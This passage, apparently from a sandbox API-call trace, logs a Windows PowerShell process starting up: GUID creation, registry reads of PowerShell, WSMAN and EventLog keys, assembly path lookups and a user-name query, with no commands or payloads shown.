(in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xedc28f41, Data2=0x2c66, Data3=0x473c, Data4=([0]=0x85, [1]=0xae, [2]=0x3a, [3]=0x22, [4]=0x4, [5]=0xa8, [6]=0x26, [7]=0xd))) returned 0x0 [0089.178] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x3503dccd, Data2=0xe7e4, Data3=0x4b6a, Data4=([0]=0x89, [1]=0xe4, [2]=0xdf, [3]=0xeb, [4]=0xe9, [5]=0x11, [6]=0x3d, [7]=0x83))) returned 0x0 [0089.180] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0089.180] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0089.180] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdea0 [0089.180] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdea0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0089.180] CoTaskMemFree (pv=0x1b3cdea0) [0089.180] RegCloseKey (hKey=0x308) returned 0x0 [0089.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0089.181] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x4598458, Data2=0x357e, Data3=0x4a5d, Data4=([0]=0x95, [1]=0xa9, [2]=0x9e, [3]=0xf0, [4]=0xfa, [5]=0x8a, [6]=0x1d, [7]=0xd5))) returned 0x0 [0089.181] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x3991a38b, Data2=0x9bce, Data3=0x4f7c, Data4=([0]=0xb5, [1]=0xc1, [2]=0x52, [3]=0x1a, [4]=0x5c, [5]=0xf5, [6]=0x5a, [7]=0x14))) returned 0x0 [0089.193] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0089.194] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0089.194] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdea0 [0089.194] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdea0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0089.194] CoTaskMemFree (pv=0x1b3cdea0) [0089.194] RegCloseKey (hKey=0x308) returned 0x0 [0089.194] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0089.195] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x2355e43f, Data2=0xaad7, Data3=0x44e8, Data4=([0]=0xba, [1]=0xcc, [2]=0xe3, [3]=0xc5, [4]=0x5d, [5]=0x6a, [6]=0x25, [7]=0xc8))) returned 0x0 [0089.195] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xe51855f1, Data2=0xc5ad, Data3=0x4dcc, Data4=([0]=0xa2, [1]=0xe4, [2]=0x1e, [3]=0x7e, [4]=0x3c, [5]=0x72, [6]=0xa3, [7]=0x2d))) returned 0x0 [0089.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0089.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0089.235] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.236] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0089.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0089.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0089.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xed0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0089.340] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.340] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.340] CoTaskMemFree (pv=0x298790) [0089.341] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.341] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.341] CoTaskMemFree (pv=0x298790) [0089.343] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.343] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.343] CoTaskMemFree (pv=0x298790) [0089.344] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.344] CoTaskMemFree (pv=0x298790) [0089.355] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.355] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.357] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.357] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.357] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.357] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.362] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xed318 | out: phkResult=0xed318*=0x308) returned 0x0 [0089.366] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed21c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed218, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed21c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed218*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.366] CoTaskMemFree (pv=0x0) [0089.366] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.366] RegEnumValueW (in: hKey=0x308, dwIndex=0x0, lpValueName=0x3070c0, lpcchValueName=0xed2c8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xed2c8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0089.367] CoTaskMemFree (pv=0x3070c0) [0089.367] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.367] RegEnumValueW (in: hKey=0x308, dwIndex=0x1, lpValueName=0x3070c0, lpcchValueName=0xed2c8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xed2c8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0089.367] CoTaskMemFree (pv=0x3070c0) [0089.367] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.367] RegEnumValueW (in: hKey=0x308, dwIndex=0x2, lpValueName=0x3070c0, lpcchValueName=0xed2c8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0xed2c8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0089.367] CoTaskMemFree (pv=0x3070c0) [0089.368] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0xed2ac, lpData=0x0, lpcbData=0xed2a8*=0x0 | out: lpType=0xed2ac*=0x1, lpData=0x0, lpcbData=0xed2a8*=0x8) returned 0x0 [0089.368] CoTaskMemAlloc (cb=0xc) returned 0x1b3cec60 [0089.368] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0xed27c, lpData=0x1b3cec60, lpcbData=0xed278*=0x8 | out: lpType=0xed27c*=0x1, lpData="2.0", lpcbData=0xed278*=0x8) returned 0x0 [0089.368] CoTaskMemFree (pv=0x1b3cec60) [0089.417] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xed268 | out: phkResult=0xed268*=0x30c) returned 0x0 [0089.417] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed16c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed168, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed16c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed168*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.417] CoTaskMemFree (pv=0x0) [0089.417] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.417] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x3070c0, lpcchValueName=0xed218, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xed218, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0089.417] CoTaskMemFree (pv=0x3070c0) [0089.418] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.418] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x3070c0, lpcchValueName=0xed218, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xed218, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0089.418] CoTaskMemFree (pv=0x3070c0) [0089.418] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.418] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x3070c0, lpcchValueName=0xed218, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0xed218, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0089.418] CoTaskMemFree (pv=0x3070c0) [0089.418] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xed1fc, lpData=0x0, lpcbData=0xed1f8*=0x0 | out: lpType=0xed1fc*=0x1, lpData=0x0, lpcbData=0xed1f8*=0x8) returned 0x0 [0089.418] CoTaskMemAlloc (cb=0xc) returned 0x1b3cf1e0 [0089.418] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xed1cc, lpData=0x1b3cf1e0, lpcbData=0xed1c8*=0x8 | out: lpType=0xed1cc*=0x1, lpData="2.0", lpcbData=0xed1c8*=0x8) returned 0x0 [0089.418] CoTaskMemFree (pv=0x1b3cf1e0) [0089.419] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.419] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.419] CoTaskMemFree (pv=0x298790) [0089.433] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0089.433] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.433] CoTaskMemFree (pv=0x298790) [0089.506] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xed298 | out: phkResult=0xed298*=0x334) returned 0x0 [0089.508] RegQueryInfoKeyW (in: hKey=0x334, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed20c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed208, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed20c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed208*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.508] CoTaskMemFree (pv=0x0) [0089.509] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.509] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x0, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.509] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x1, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.509] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x2, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.509] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x3, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.510] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x4, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.510] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x5, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.510] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x6, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.510] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x7, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.510] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x8, lpName=0x3070c0, lpcchName=0xed298, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xed298, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.510] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x324) returned 0x0 [0089.510] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.510] RegOpenKeyExW (in: hKey=0x334, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x338) returned 0x0 [0089.510] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.510] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x33c) returned 0x0 [0089.510] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.511] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x340) returned 0x0 [0089.511] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.511] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x344) returned 0x0 [0089.511] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.511] RegOpenKeyExW (in: hKey=0x334, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x348) returned 0x0 [0089.511] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.511] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x5 [0089.549] RegOpenKeyExW (in: hKey=0x334, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x34c) returned 0x0 [0089.549] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x0) returned 0x2 [0089.549] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x350) returned 0x0 [0089.549] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2f8 | out: phkResult=0xed2f8*=0x354) returned 0x0 [0089.549] RegCloseKey (hKey=0x354) returned 0x0 [0089.549] RegCloseKey (hKey=0x334) returned 0x0 [0089.549] RegCloseKey (hKey=0x350) returned 0x0 [0089.573] CoTaskMemAlloc (cb=0x804) returned 0x1b3e53f0 [0089.573] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3e53f0, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.574] CoTaskMemFree (pv=0x1b3e53f0) [0089.575] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.575] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.575] CoTaskMemFree (pv=0x3070c0) [0089.622] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xed248 | out: phkResult=0xed248*=0x358) returned 0x0 [0089.622] RegQueryInfoKeyW (in: hKey=0x358, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed1bc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed1b8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed1bc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed1b8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] CoTaskMemFree (pv=0x0) [0089.622] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x0, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x1, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x2, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x3, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x4, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x5, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x6, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.622] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x7, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.623] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x8, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.623] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x35c) returned 0x0 [0089.623] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.623] RegOpenKeyExW (in: hKey=0x358, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x360) returned 0x0 [0089.623] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.623] RegOpenKeyExW (in: 